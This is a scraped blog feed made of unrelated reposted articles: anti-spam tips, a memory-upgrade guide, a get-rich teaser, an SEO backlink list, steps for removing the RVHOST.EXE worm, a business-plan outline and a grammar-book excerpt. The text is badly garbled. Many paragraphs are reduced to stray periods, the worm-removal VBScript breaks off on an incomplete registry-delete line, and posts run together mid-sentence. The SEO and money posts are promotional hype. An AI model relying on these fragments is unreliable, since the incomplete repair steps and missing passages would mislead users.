--> Default Access Point. Select your new access point/profile thingy which is "Bt".<br /<img src="" height="1" width="1" alt=""/>Serge Lopez to Choose Anti-Spam Filter?The damage <span style="font-weight: bold;">spam</span> brings you is huge: loss of time, bandwidth and money, risk to delete a legitimate message together with junk emails. So, an anti-spam filter is not a whim but a necessity for almost all PC users who actively use email.<br /><br />What criteria should you follow to choose the right <span style="font-weight: bold;">spam filtering</span> program? What capabilities must an anti-spam tool have to filter and cut off spam mail in most effective way?<br /><br />Here are the main features a good anti-spam software must have to block spam effectively:<br /><br />1) it should be a standalone spam filtering tool, which checks all incoming emails on the server, detects and deletes spam messages.<br /><br />2) deletion of spam without receiving it in your inbox. This way you won't download all the superfluous kilobytes into your inbox and you won't see annoying spam mail.<br /><br /.<br /><br />4) easy and safe method to preview emails marked as spam. Inherent in antispam technology is the fact that there will be false positives and false negatives, i.e., email can be flagged as spam even though it is not actually spam and vice versa.<br /><br />5) flexible<span style="font-weight: bold;"> spam filtering</span>. Spam emails should be moved to a separate folder. A good spam filtering software should provide the ability to recover an email if it was accidentally marked as spam and trashed.<br /><br /.<br /><br /><br /><div style="text-align: right;"><span style="font-size:85%;">Article Source:</span></div><img src="" height="1" width="1" alt=""/>Serge Lopez To Upgrade Computer Memory<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href=""><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 299px; height: 161px;" src="" alt="computer_memory" id="BLOGGER_PHOTO_ID_5161373929771776546" border="0" /></a><br />How To Upgrade Computer Memory<br />by: Michael Cottier<br /><br />.<br /><br /.<br /><br /.<br /><br />For all you laptop and PDA owners out there, the type of RAM in your laptop or PDA is called SODIMM. Available at the same memory store you purchase your desktop computer RAM from, just a little more expensive and harder to install.<br /><br /.<br /><br /.<br /><br /.<br /><br />Well that is about it, I hope I have helped you. Just remember to keep your computer clean plus maintain properly, and it will live a long life.<br /><span style="font-size:85%;"><br /><br /><span style="font-size:78%;">Copyright 2006 Michael Cottier<br />About The Author<br />Michael Cottier<br />If you need help upgrading other parts of your computer or portable devices, then Michael Cottier can help you. Go to his website at:. </span></span><img src="" height="1" width="1" alt=""/>Serge Lopez To Make 1 Million Dollars<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href=""><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 261px; height: 207px;" src="" alt="Million_Dollars_image" id="BLOGGER_PHOTO_ID_5152096877498513474" border="0" /></a><br />:<br /><br /.<br /><br /.<br /><br /.<br /><br /.<br /><br />.<br /><br /.<br /><br /?<br /><br /.<br /><br />To get started on your action plan for making money, visit <span style="font-size:78%;"></span><br /><br /><span style="font-size:78%;">Article Source:</span><img src="" height="1" width="1" alt=""/>Serge Lopez to improve your website trafficI focused only in Social Bookmarking Sites and Squidoo, and of course on .edu backlinks.<br /><br />I don´t like much to buy links (I really think it´s worthless most of the times).<br /><br />I set up a plan: I found out the Web 2.0 sites with the higuest PR (Page Rank) and start to list my sites and blogs in all of them, and at the same time I started to get .edu backlinks.<br /><br />I spent less than 3 hours a day doing this, (less actually, once I got my "secret" tools that automate the process), and the results were astounding.<br /><br />You can do it manually by yourself, hire someone to do it (in Guru.com, for example), or buy some software to do it automatically and periodically.<br /><br />But the most important thing is the list of the sites and the .edu backlinks. I spent one entire month in searching them. I refined my list and separated the sites in 2 lists:<br /><br />1st class and 2nd class.<br /><br /).<br /><br />So these 1st class sites will take your sites and blogs indexed by Google in a matter of hours (yes, hours, not days), simply because these ones have the highest PR and the highest traffic.<br /><br />By 2nd class I mean the Bookmarking sites that have a high PR, but not as much traffic.<br /><br />So the plan is simply: just list your sites, blogs and squidoo lenses in each one of these sites, starting by the 1st class ones first, and get as much .edu backlinks as you can.<br /><br />Here it is, no more no less...<br /><br />I repeat it again: You have to list your sites/blogs/squidoo lenses in these sites and start to get .edu backlinks at the same time.<br /><br />So the first thing you need is THE LIST. Very few people have this list, (though today one of my buddies have made it public in his site).<br /><br />But today I am feeling generous , so I´m gonna let you steal this valuable list...<br /><br />Here it is:<br /><br />1st class - Social Bookmark Sites<br />In PR (Page Rank) Order<br /><br />Update for Page Rank - Feb. 2007<br />Update for Traffic stats - March 2007<br /><br />These are the 1st class Social Bookmarking Sites.<br /><br />These sites get the most traffic with the higuer PR, so getting your site/blog/lense listed in here can bring you massive traffic (sometimes within the hour).<br /><br />If you want your site/blog/lense indexed FAST then start listing it in these sites starting from the top with the highest PR sites first. Start to get .edu backlinks also.<br /><br />A link from a PR6, 7, 8 or 9 site will generally get your site spidered within one to a few hours.<br /><br />These are non-reciprocal, one way links, so they are the best links to get and sites like Google love links from these sites.<br /><br />And the best of all, it's FREE!<br /><br />PR 9<br /><br />- Slashdot<br /><br />PR 8<br /><br />- del.icio.us<br />- Digg<br />- Furl<br />- Flickr<br />- Technorati<br />- Youtube<br /><br />PR 7<br /><br />- Simpy<br />- Yahoo My Web 2.0 Beta<br /><br />PR 6<br /><br />- Listible<br /><br />Note: If you can afford to invest (note that I say invest, not spend) a few dollars... I will come back to this thread to list my secret weapons to automate the process.<br /><br />2nd class - Social Bookmark Sites<br /><br />In PR (Page Rank) Order<br />PR 9<br /><br />- BlogLines<br /><br />PR 8<br /><br />- 34Things<br />- Fark<br /><br />PR 7<br /><br />- Backflip<br />- BlogMarks<br />- BlogPulse<br />- clipfire<br />- Connotea<br />- IceRocket<br />- Kinja<br />- LibraryThing<br />- Linux Bookmarks<br />- Ma.gnolia<br />- Netvouz<br />- Newsvine<br />- popurls<br />- Reddit<br />- Rojo<br />- Rollyo<br />- Shadows<br />- Spurl<br />- Start<br />- StumbleUpon<br />- TailRank<br /><br />PR 6<br /><br />- beanrocket<br />- BibSonomy<br />- BlinkBits<br />- BlinkList<br />- BlogHop<br />- Blue<br />- Clipmarks<br />- commontimes<br />- de.lirio.us<br />- diigo<br />- Feedmarker<br />- Filangy<br />- Gibeo<br />- GiveALink<br />- Hot Links<br />- Jots<br />- Kaboodle<br />- linkaGoGo<br />- linkfilter<br />- Listible<br />- Mecanbe<br />- MyProgs<br />- NowPublic<br />- RawSugar<br />- Reader2<br />- Rrove<br />- Scuttle<br />- Segnalo<br />- Shoutwire<br />- Squidoo<br />- Tagsy<br />- unalog<br />- Wazima<br />- Web Feeds<br />- Wists<br />- World Wide Wisdom<br />- wurldBook<br />- Yoono<br />- Zaadz<br /><br />PR 5<br /><br />- 30daytags<br />- Aboogy<br />- BookmarkSync<br />- BlogMemes<br />- BookmarkTracker<br />- BuddyMarks<br />- butterfly<br />- complore<br />- Connectedy<br />- dinnerbuzz<br />- Dog Ear<br />- Favoor<br />- FeedMeLinks<br />- H2O Playlist<br />- Hyperlinkomatic<br />- IndiaGram<br />- Indiamarks<br />- leze.de<br />- linkroll<br />- ListMixer<br />- Lookmarks<br />- Maple<br />- memestreams<br />- Millions Of Games<br />- O Y A X<br />- PeerMark<br />- Save Your Links<br />- SiteJot<br />- Smarking<br />- Start Aid<br />- Sync2It's BookmarkSync<br />- TagTooga<br />- uLinkx<br />- URLBlaze<br />- Watvindenwijover<br />- Yummy! Social PDF Library<br />- Zurpy<br /><br />PR 4<br /><br />- AllMyFavorites<br />- Bookkit<br />- Bookmark Manager<br />- BlogLot<br />- browsr<br />- Chipmark<br />- clipclip<br />- GetBoo<br />- GoKoDo<br />- GoobToob<br />- i89.us<br />- Lilisto<br />- MotorKen<br />- Network Menus<br />- Tab Marks<br />- taghop<br />- Textnotes.de<br />- URLex<br /><br /><br />Ok, that´s all...<br /><br />Concentrate on getting links from the 1st class Bookmarking sites with the highest PR sites first.<br /><br />Start to get .edu backlinks to your site at the same time. (these 2 things combined will bring you a big jump and longlast results).<br /><br />This will ensure that your sites/blogs/lenses get maximum exposure as soon as possible, and will boost your chances of flooding your sites with highly targeted traffic (and your bank account with lots of MONEY...<br /><br />Get listed, get .edu backlinks and repeat... That´s all.<br /><br />But you have to implement the plan, only by reading this post and doing nothing won´t bring you any results...<br /><br /><div style="text-align: right;"><span style="font-size:78%;">Source : money-for-blogger.blogspot.com</span></div><img src="" height="1" width="1" alt=""/>Serge Lopez to remove RVHOST.EXE malwareFollow these steps to completely remove this worm:<br />1-Start>RUN<br />2-Write CMD<br />3-In CMD,write "Taskkill /T /IM "RVHOST.EXE"<br />then open a Notepad Start>RUn<br />4-Write "NOtepad"<br />5-in notepad paste these lines below<br />On Error Resume Next<br />Set shl = CreateObject("WScript.Shell")<br />Set fso = CreateObject("scripting.FileSystemObject")<br />shl.RegDelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\<br />CurrentVersion\Policies\System\DisableRegistryTools"<br />shl.RegDelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\<br />CurrentVersion\Policies\System\DisableTaskMgr"<br />shl.RegDelete <br />6- save the notepad as "Enable.VBS" and the change the file type to "All"<br />7-double click "Enable.VBS"<br />8-now Start>Run. Write "Regedit" in it and press enter<br />9- Do the following changes in Registy<br /><br />In the left panel, double-click the following:<br />HKEY_CURRENT_USER>Software>Microsoft><br />Windows>CurrentVersion>Run <br />In the right panel, locate and delete the entry:<br />YahooSerge Lopez To Write A Business PlanOUTLINE FOR A BUSINESS PLAN<br />I. Executive Summary<br />The Executive Summary is probably the most important aspect of your plan. It should<br />communicate your company’s competence to be successful in a competitive market. It<br />summarizes the other sections in your plan and should be written last.<br />A. Company Description<br />In this section of your plan, the nature of your business and your competitive advantages should<br />be discussed.<br />1. Name and location<br />2. Company’s mission<br />3. Location and geological information<br />4. Products or services<br />5. Competitive advantage<br />B. Market Analysis<br />this section should reflect your knowledge of your industry. You should discuss the<br />characteristics of your target market as well as the size of your target market.<br />1. Size and growth trends<br />2. Economic seasonal technical factors which effect profitability<br />3. Target market<br />4. Competition<br />C. Marketing and Sales Activities<br />This section should contain a discussion of marketing and sales activities and hoe these activities<br />will help you meet the sales and profit levels in your financial statements. Marketing and sales<br />strategies should be conveyed, as well as the keys to success in your competitive environment.<br />1. Overall sales and marketing strategy<br />2. Advertising and promotional programs<br />3. Pricing policy<br />4. Other marketing tactics - joint ventures, strategic alliances, etc.<br />D. Products and Services<br />Describe in detail your products and services, product life cycle, proprietary information and<br />research and development procedures and capabilities. A list of suppliers should be included.<br />1. Description of plant and/or facilities<br />2. Method of selling, distributing and servicing products to potential customers.<br />3. Management information systems for accounting, customer service, etc.<br />4. Quality control strategy<br />5. Inventory control (if applicable)<br />6. Other operational concerns<br />F. Management and Ownership<br />This section must emphasize your management team’s talents and skills. It should also indicate<br />what skills and talents they bring to the company that makes it unique from your competition.<br />1. Form of business<br />2. Principal/key employees<br />3. Board of Directors<br />4. Organizational chart and responsibilities<br />5. Resumes of key personnel<br />G. Financial Data<br />Projections and/or historical financial information with assumptions are presented in this section.<br />Financial statements should reflect 5 years of operational history; scenarios can be included.<br />This section also includes the use of funds and long range financial strategies to liquidate<br />investors.<br />1. Financial history<br />Income statements<br />Balance sheets<br />Cash flow charts<br />2. Three to five year financial projections (1st year monthly, remaining years annually)<br />Income statements<br />Balance sheets<br />Cash flow charts<br />3. Assumptions on which projections are based<br />4. Key business ratios<br />5. Explanation of use and effect of new funds<br />6. Ability to repay investors.<br />H. Appendices or Exhibits<br />Additional detailed or confidential information that might be useful to the business plan but is not<br />appropriate for full distribution may be presented here. Examples of appendices or exhibits<br />include the following:<br />1. Resumes of key managers<br />2. Pictures of product<br />3. Market study<br />4. Patients, copyrights and trademarks<br />5. Corporate tax returns for the last three years<br />6. Aging of accounts receivable and payable<br />7. Copies of existing Financial institution promissory notes.<br />8. Trade, bank and character references<br />9. Estimate or invoice for equipment to be acquired or purchased<br />10. Copies of lease or letter of intent to lease<br />11. Contract for purchase (buyer and seller agreement)<br />12. Articles of Incorporation, By-Laws and Certificate of Good Standing or Partnership<br />Agreement<br />13. Copy of warranty deeds and appraisals for property to be pledged by business or<br />guarantors<br />14. Organization chart<br />15. Personal financial statement for each shareholder partner<br />16. Personal income tax statement for the last three years for each shareholder, partner<br />This outline should be viewed as a framework for conveying information about your business<br />idea or going concern. It may not include all the nuances which are unique to your business.<br />Please feel free to amend the outline where applicable. We encourage you to submit more<br />information rather than less.<img src="" height="1" width="1" alt=""/>Serge Lopez to Speak and Write CorrectlyVocabulary—Parts of Speech—Requisites<br /><br /.<br /><br /.<br /><br />To use a big word or a foreign word when a small one and a familiar one will answer the same purpose, is a sign of ignorance. Great scholars and writers and polite speakers use simple words.<br /><br /.<br /><br />In the works of Shakespeare, the most wonderful genius the world has ever known, there is the enormous number of 15,000 different words, but almost 10,000 of them are obsolete or meaningless today.<br /><br />Every person of intelligence should be able to use his mother tongue correctly. It only requires a little pains, a little care, a little study to enable one to do so, and the recompense is great.<br /><br /.<br /><br /.<br /><br /.<br />THE ENGLISH LANGUAGE IN A NUTSHELL<br /><br /.<br />.<br /><br />Number is the distinction of one from more than one. There are two numbers, singular and plural; the singular denotes one, the plural two or more. The plural is generally formed from the singular by the addition of s or es.<br /><br /.<br /><br /.<br /><br />An Article is a word placed before a noun to show whether the latter is used in a particular or general sense. There are but two articles, a or an and the.<br /><br />An Adjective is a word which qualifies a noun, that is, which shows some distinguishing mark or characteristic belonging to the noun.<br />DEFINITIONS<br /><br />A Pronoun is a word used for or instead of a noun to keep us from repeating the same noun too often. Pronouns, like nouns, have case, number, gender and person. There are three kinds of pronouns, personal, relative and adjective.<br /><br />A verb is a word which signifies action or the doing of something. A verb is inflected by tense and mood and by number and person, though the latter two belong strictly to the subject of the verb.<br /><br />An adverb is a word which modifies a verb, an adjective and sometimes another adverb.<br /><br />A preposition serves to connect words and to show the relation between the objects which the words express.<br /><br />A conjunction is a word which joins words, phrases, clauses and sentences together.<br /><br />An interjection is a word which expresses surprise or some sudden emotion of the mind.<br />THREE ESSENTIALS<br /><br />The three essentials of the English language are: Purity, Perspicuity and Precision.<br /><br /.<br /><br /.<br /><br /.<br />CHAPTER II<br />ESSENTIALS OF ENGLISH GRAMMAR<br />Divisions of Grammar—Definitions—Etymology.<br /><br /.<br />DIVISIONS OF GRAMMAR<br /><br />There are four great divisions of Grammar, viz.:<br /><br />Orthography, Etymology, Syntax, and Prosody.<br /><br />Orthography treats of letters and the mode of combining them into words.<br /><br />Etymology treats of the various classes of words and the changes they undergo.<br /><br />Syntax treats of the connection and arrangement of words in sentences.<br /><br />Prosody treats of the manner of speaking and reading and the different kinds of verse.<br /><br />The three first mentioned concern us most.<br />LETTERS<br /><br /.<br />SYLLABLES AND WORDS<br /><br />A syllable is a distinct sound produced by a single effort of [Transcriber's note: 1-2 words illegible] shall, pig, dog. In every syllable there must be at least one vowel.<br /><br />A word consists of one syllable or a combination of syllables.<br /><br />Many rules are given for the dividing of words into syllables, but the best is to follow as closely as possible the divisions made by the organs of speech in properly pronouncing them.<br />THE PARTS OF SPEECH<br />ARTICLE<br /><br />An Article is a word placed before a noun to show whether the noun is used in a particular or general sense.<br /><br />There are two articles, a or an and the. A or an is called the indefinite article because it does not point put any particular person or thing but indicates the noun in its widest sense; thus, a man means any man whatsoever of the species or race.<br /><br />The is called the definite article because it points out some particular person or thing; thus, the man means some particular individual.<br />NOUN<br /><br />A noun is the name of any person, place or thing as John, London, book. Nouns are proper and common.<br /><br />Proper nouns are names applied to particular persons or places.<br /><br />Common nouns are names applied to a whole kind or species.<br /><br />Nouns are inflected by number, gender and case.<br /><br />Number is that inflection of the noun by which we indicate whether it represents one or more than one.<br /><br />Gender is that inflection by which we signify whether the noun is the name of a male, a female, of an inanimate object or something which has no distinction of sex.<br /><br />Case is that inflection of the noun which denotes the state of the person, place or thing represented, as the subject of an affirmation or question, the owner or possessor of something mentioned, or the object of an action or of a relation.<br /><br /.<br />ADJECTIVE<br /><br />An adjective is a word which qualifies a noun, that is, shows or points out some distinguishing mark or feature of the noun; as, A black dog.<br /><br />Adjectives have three forms called degrees of comparison, the positive, the comparative and the superlative.<br /><br />The positive is the simple form of the adjective without expressing increase or diminution of the original quality: nice.<br /><br />The comparative is that form of the adjective which expresses increase or diminution of the quality: nicer.<br /><br />The superlative is that form which expresses the greatest increase or diminution of the quality: nicest.<br /><br />or<br /><br />An adjective is in the positive form when it does not express comparison; as, "A rich man."<br /><br />An adjective is in the comparative form when it expresses comparison between two or between one and a number taken collectively, as, "John is richer than James"; "he is richer than all the men in Boston."<br /><br />An adjective is in the superlative form when it expresses a comparison between one and a number of individuals taken separately; as, "John is the richest man in Boston."<br /><br />Adjectives expressive of properties or circumstances which cannot be increased have only the positive form; as, A circular road; the chief end; an extreme measure.<br /><br /.<br /><br />Adjectives of two or more syllables are generally compared by prefixing more and most.<br /><br />Many adjectives are irregular in comparison; as, Bad, worse, worst; Good, better, best.<br />PRONOUN<br /><br /."<br /><br />There are three kinds of pronouns—Personal, Relative and Adjective Pronouns.<br /><br />Personal Pronouns are so called because they are used instead of the names of persons, places and things. The Personal Pronouns are I, Thou, He, She, and It, with their plurals, We, Ye or You and They.<br /><br />I is the pronoun of the first person because it represents the person speaking.<br /><br />Thou is the pronoun of the second person because it represents the person spoken to.<br /><br />He, She, It are the pronouns of the third person because they represent the persons or things of whom we are speaking.<br /><br />Like nouns, the Personal Pronouns have number, gender and case. The gender of the first and second person is obvious, as they represent the person or persons speaking and those who are addressed. The personal pronouns are thus declined:<br /><br />First Person.<br />M. or F.<br /> Sing. Plural.<br />N. I We<br />P. Mine Ours<br />O. Me Us<br /><br />Second Person.<br />M. or F.<br /> Sing. Plural.<br />N. Thou You<br />P. Thine Yours<br />O. Thee You<br /><br />Third Person.<br />M.<br /> Sing. Plural.<br />N. He They<br />P. His Theirs<br />O. Him Them<br /><br />Third Person.<br />F.<br /> Sing. Plural.<br />N. She They<br />P. Hers Theirs<br />O. Her Them<br /><br />Third Person.<br />Neuter.<br /> Sing. Plural.<br />N. It They<br />P. Its Theirs<br />O. It Them<br /><br /.<br /><br />The Relative Pronouns are so called because they relate to some word or phrase going before; as, "The boy who told the truth;" "He has done well, which gives me great pleasure."<br /><br />Here who and which are not only used in place of other words, but who refers immediately to boy, and which to the circumstance of his having done well.<br /><br />The word or clause to which a relative pronoun refers is called the Antecedent.<br /><br />The Relative Pronouns are who, which, that and what.<br /><br />Who is applied to persons only; as, "The man who was here."<br /><br />Which is applied to the lower animals and things without life; as, "The horse which I sold." "The hat which I bought."<br /><br />That is applied to both persons and things; as, "The friend that helps." "The bird that sings." "The knife that cuts."<br /><br />What is a compound relative, including both the antecedent and the relative and is equivalent to that which; as, "I did what he desired," i. e. "I did that which he desired."<br /><br />Relative pronouns have the singular and plural alike.<br /><br />Who is either masculine or feminine; which and that are masculine, feminine or neuter; what as a relative pronoun is always neuter.<br /><br />That and what are not inflected.<br /><br />Who and which are thus declined:<br />Sing. and Plural Sing. and Plural<br />N. Who N. Which<br />P. Whose P. Whose<br />O. Whom O. Which<br /><br />Who, which and what when used to ask questions are called Interrogative Pronouns.<br /><br />Adjective Pronouns partake of the nature of adjectives and pronouns and are subdivided as follows:<br /><br />Demonstrative Adjective Pronouns which directly point out the person or object. They are this, that with their plurals these, those, and yon, same and selfsame.<br /><br />Distributive Adjective Pronouns used distributively. They are each, every, either, neither.<br /><br />Indefinite Adjective Pronouns used more or less indefinitely. They are any, all, few, some, several, one, other, another, none.<br /><br />Possessive Adjective Pronouns denoting possession. They are my, thy, his, her, its, our, your, their.<br /><br />N. B.—(The possessive adjective pronouns differ from the possessive case of the personal pronouns in that the latter can stand alone while the former cannot. "Who owns that book?" "It is mine." You cannot say "it is my,"—the word book must be repeated.)<br />THE VERB<br /><br />A verb is a word which implies action or the doing of something, or it may be defined as a word which affirms, commands or asks a question.<br /><br />Thus, the words John the table, contain no assertion, but when the word strikes is introduced, something is affirmed, hence the word strikes is a verb and gives completeness and meaning to the group.<br /><br />The simple form of the verb without inflection is called the root of the verb; e. g. love is the root of the verb,—"To Love."<br /><br />Verbs are regular or irregular, transitive or intransitive.<br /><br />A verb is said to be regular when it forms the past tense by adding ed to the present or d if the verb ends in e. When its past tense does not end in ed it is said to be irregular.<br /><br />A transitive verb is one the action of which passes over to or affects some object; as "I struck the table." Here the action of striking affected the object table, hence struck is a transitive verb.<br /><br />An intransitive verb is one in which the action remains with the subject; as "I walk," "I sit," "I run."<br /><br />Many intransitive verbs, however, can be used transitively; thus, "I walk the horse;" walk is here transitive.<br /><br />Verbs are inflected by number, person, tense and mood.<br /><br /.<br />TENSE<br /><br />In their tenses verbs follow the divisions of time. They have present tense, past tense and future tense with their variations to express the exact time of action as to an event happening, having happened or yet to happen.<br />MOOD<br /><br />There are four simple moods,—the Infinitive, the Indicative, the Imperative and the Subjunctive.<br /><br /.<br /><br /.<br /><br />When the verb is used to express a command or entreaty it is in the Imperative Mood as, "Go away." "Give me a penny."<br /><br />When the verb is used to express doubt, supposition or uncertainty or when some future action depends upon a contingency, it is in the subjunctive mood; as, "If I come, he shall remain."<br /><br /.<br /><br />Verbs have two participles, the present or imperfect, sometimes called the active ending in ing and the past or perfect, often called the passive, ending in ed or d.<br /><br />The infinitive expresses the sense of the verb in a substantive form, the participles in an adjective form; as "To rise early is healthful." "An early rising man." "The newly risen sun."<br /><br />The participle in ing is frequently used as a substantive and consequently is equivalent to an infinitive; thus, "To rise early is healthful" and "Rising early is healthful" are the same.<br /><br />The principal parts of a verb are the Present Indicative, Past Indicative and Past Participle; as:<br />Love Loved Loved<br /><br />Sometimes one or more of these parts are wanting, and then the verb is said to be defective.<br />Present Past Passive Participle<br />Can Could (Wanting)<br />May Might "<br />Shall Should "<br />Will Would "<br />Ought Ought "<br /><br /.<br /><br />There are nine auxiliary or helping verbs, viz., Be, have, do, shall, will, may, can, ought, and must. They are called helping verbs, because it is by their aid the compound tenses are formed.<br />TO BE<br /><br />The verb To Be is the most important of the auxiliary verbs. It has eleven parts, viz., am, art, is, are, was, wast, were, wert; be, being and been.<br />VOICE<br /><br />The active voice is that form of the verb which shows the Subject not being acted upon but acting; as, "The cat catches mice." "Charity covers a multitude of sins."<br /><br /.<br />CONJUGATION<br /><br />The conjugation of a verb is its orderly arrangement in voices, moods, tenses, persons and numbers.<br /><br />Here is the complete conjugation of the verb "Love"—Active Voice.<br />PRINCIPAL PARTS<br />Present Past Past Participle<br />Love Loved Loved<br />Infinitive Mood<br />To Love<br />Indicative Mood<br /><br />PRESENT TENSE<br /> Sing. Plural<br />1st person I love We love<br />2nd person You love You love<br />3rd person He loves They love<br /><br />PAST TENSE<br /> Sing. Plural<br />1st person I loved We loved<br />2nd person You loved You loved<br />3rd person He loved They loved<br /><br />FUTURE TENSE<br /> Sing. Plural<br />1st person I shall love They will love<br />2nd person You will love You will love<br />3rd person He will love We shall love<br /><br />[Transcriber's note: 1st person plural and 3rd person plural reversed in original]<br /><br />PRESENT PERFECT TENSE<br /> Sing. Plural<br />1st person I have loved We have loved<br />2nd person You have loved You have loved<br />3rd person He has loved They have loved<br /><br />PAST PERFECT TENSE<br /> Sing. Plural<br />1st person I had loved We had loved<br />2nd person You had loved You had loved<br />3rd person He had loved They had loved<br /><br />FUTURE PERFECT TENSE<br /> Sing. Plural<br />1st person I shall have loved We shall have loved<br />2nd person You will have loved You will have loved<br />3rd person He will have loved They will have loved<br />Imperative Mood<br /><br />(PRESENT TENSE ONLY)<br /> Sing. Plural<br />2nd person Love (you) Love (you)<br />Subjunctive Mood<br /><br />PRESENT TENSE<br /> Sing. Plural<br />1st person If I love If we love<br />2nd person If you love If you love<br />3rd person If he love If they love<br /><br />PAST TENSE<br /> Sing. Plural<br />1st person If I loved If we loved<br />2nd person If you loved If you loved<br />3rd person If he loved If they loved<br /><br />PRESENT PERFECT TENSE<br /> Sing. Plural<br />1st person If I have loved If we have loved<br />2nd person If you have loved If you have loved<br />3rd person If he has loved If they have loved<br /><br />PAST PERFECT TENSE<br /> Sing. Plural<br />1st person If I had loved If we had loved<br />2nd person If you had loved If you had loved<br />3rd person If he had loved If they had loved<br /><br />INFINITIVES<br />Present Perfect<br />To love To have loved<br /><br />PARTICIPLES<br />Present Past Perfect<br />Loving Loved Having loved<br />CONJUGATION OF "To Love"<br />Passive Voice<br />Indicative Mood<br /><br />PRESENT TENSE<br /> Sing. Plural<br />1st person I am loved We are loved<br />2nd person You are loved You are loved<br />3rd person He is loved They are loved<br /><br />PAST TENSE<br /> Sing. Plural<br />1st person I was loved We were loved<br />2nd person You were loved You were loved<br />3rd person He was loved They were loved<br /><br />FUTURE TENSE<br /> Sing. Plural<br />1st person I shall be loved We shall be loved<br />2nd person You will be loved You will be loved<br />3rd person He will be loved They will be loved<br /><br />PRESENT PERFECT TENSE<br /> Sing. Plural<br />1st person I have been loved We have been loved<br />2nd person You have been loved You have been loved<br />3rd person He has been loved They have been loved<br /><br />PAST PERFECT TENSE<br /> Sing. Plural<br />1st person I had been loved We had been loved<br />2nd person You had been loved You had been loved<br />3rd person He had been loved They had been loved<br /><br />FUTURE PERFECT TENSE<br /> Sing. Plural<br />1st person I shall have been loved We shall have been loved<br />2nd person You will have been loved You will have been loved<br />3rd person He will have been loved They will have been loved<br />Imperative Mood<br /><br />(PRESENT TENSE ONLY)<br /> Sing. Plural<br />2nd person Be (you) loved Be (you) loved<br />Subjunctive Mood<br /><br />PRESENT TENSE<br /> Sing. Plural<br />1st person If I be loved If we be loved<br />2nd person If you be loved If you be loved<br />3rd person If he be loved If they be loved<br /><br />PAST TENSE<br /> Sing. Plural<br />1st person If I were loved If they were loved<br />2nd person If you were loved If you were loved<br />3rd person If he were loved If we were loved<br /><br />PRESENT PERFECT TENSE<br /> Sing. Plural<br />1st person If I have been loved If we have been loved<br />2nd person If you have been loved If you have been loved<br />3rd person If he has been loved If they have been loved<br /><br />PAST PERFECT TENSE<br /> Sing. Plural<br />1st person If I had been loved If we had been loved<br />2nd person If you had been loved If you had been loved<br />3rd person If he had been loved If they had been loved<br /><br />INFINITIVES<br />Present Perfect<br />To be loved To have been loved<br /><br />PARTICIPLES<br />Present Past Perfect<br />Being loved Been loved Having been loved<br /><br />.)<br />ADVERB<br /><br />An adverb is a word which modifies a verb, an adjective or another adverb..<br /><br />Adverbs are chiefly used to express in one word what would otherwise require two or more words; thus, There signifies in that place; whence, from what place; usefully, in a useful manner.<br /><br />Adverbs, like adjectives, are sometimes varied in their terminations to express comparison and different degrees of quality.<br /><br />Some adverbs form the comparative and superlative by adding er and est; as, soon, sooner, soonest.<br /><br />Adverbs which end in ly are compared by prefixing more and most; as, nobly, more nobly, most nobly.<br /><br />A few adverbs are irregular in the formation of the comparative and superlative; as, well, better, best.<br />PREPOSITION<br /><br />A preposition connects words, clauses, and sentences together and shows the relation between them. "My hand is on the table" shows relation between hand and table.<br /><br />Prepositions are so called because they are generally placed before the words whose connection or relation with other words they point out.<br />CONJUNCTION<br /><br />A conjunction joins words, clauses and sentences; as "John and James." "My father and mother have come, but I have not seen them."<br /><br />The conjunctions in most general use are and, also; either, or; neither, nor; though, yet; but, however; for, that; because, since; therefore, wherefore, then; if, unless, lest.<br />INTERJECTION<br /><br />An interjection is a word used to express some sudden emotion of the mind. Thus in the examples,—"Ah! there he comes; alas! what shall I do?" ah, expresses surprise, and alas, distress.<br /><br />Nouns, adjectives, verbs and adverbs become interjections when they are uttered as exclamations, as, nonsense! strange! hail! away! etc.<br /><br /:<br /><br />The signification of the noun is limited to one, but to any one of the kind, by the indefinite article, and to some particular one, or some particular number, by the definite article.<br /><br /.<br /><br /.<br /><br /.<br /><br /.<br /><br />Affirmations are modified by adverbs, some of which can be inflected to express different degrees of modification.<br /><br />Words are joined together by conjunctions; and the various relations which one thing bears to another are expressed by 'prepositions. Sudden emotions of the mind, and exclamations are expressed by interjections.<br /><br />Some words according to meaning belong sometimes to one part of speech, sometimes to another. Thus, in "After a storm comes a calm," calm is a noun; in "It is a calm evening," calm is an adjective; and in "Calm your fears," calm is a verb.<br /><br />The following sentence containing all the parts of speech is parsed etymologically:<br /><br />"I now see the old man coming, but, alas, he has walked with much difficulty."<br /><br />I, a personal pronoun, first person singular, masculine or feminine gender, nominative case, subject of the verb see.<br /><br />now, an adverb of time modifying the verb see.<br /><br />see, an irregular, transitive verb, indicative mood, present tense, first person singular to agree with its nominative or subject I.<br /><br />the, the definite article particularizing the noun man.<br /><br />old, an adjective, positive degree, qualifying the noun man.<br /><br />man, a common noun, 3rd person singular, masculine gender, objective case governed by the transitive verb see.<br /><br />coming, the present or imperfect participle of the verb "to come" referring to the noun man.<br /><br />but, a conjunction.<br /><br />alas, an interjection, expressing pity or sorrow.<br /><br />he, a personal pronoun, 3rd person singular, masculine gender, nominative case, subject of verb has walked.<br /><br />has walked, a regular, intransitive verb, indicative mood, perfect tense, 3rd person singular to agree with its nominative or subject he.<br /><br />with, a preposition, governing the noun difficulty.<br /><br />much, an adjective, positive degree, qualifying the noun difficulty.<br /><br />difficulty, a common noun, 3rd person singular, neuter gender, objective case governed by the preposition with.<br /><br />N.B.—Much is generally an adverb. As an adjective it is thus compared:<br />Positive Comparative Superlative<br />much more most<br />CHAPTER III<br />THE SENTENCE<br />Different Kinds—Arrangement of Words—Paragraph<br /><br /.<br /><br />"Birds fly;" "Fish swim;" "Men walk;"—are sentences.<br /><br />A sentence always contains two parts, something spoken about and something said about it. The word or words indicating what is spoken about form what is called the subject and the word or words indicating what is said about it form what is called the predicate.<br /><br />In the sentences given, birds, fish and men are the subjects, while fly, swim and walk are the predicates.<br /><br />There are three kinds of sentences, simple, compound and complex.<br /><br />The simple sentence expresses a single thought and consists of one subject and one predicate, as, "Man is mortal."<br /><br /."<br /><br />A complex sentence consists of two or more simple sentences so combined that one depends on the other to complete its meaning; as; "When he returns, I shall go on my vacation." Here the words, "when he returns" are dependent on the rest of the sentence for their meaning.<br /><br />A clause is a separate part of a complex sentence, as "when he returns" in the last example.<br /><br />A 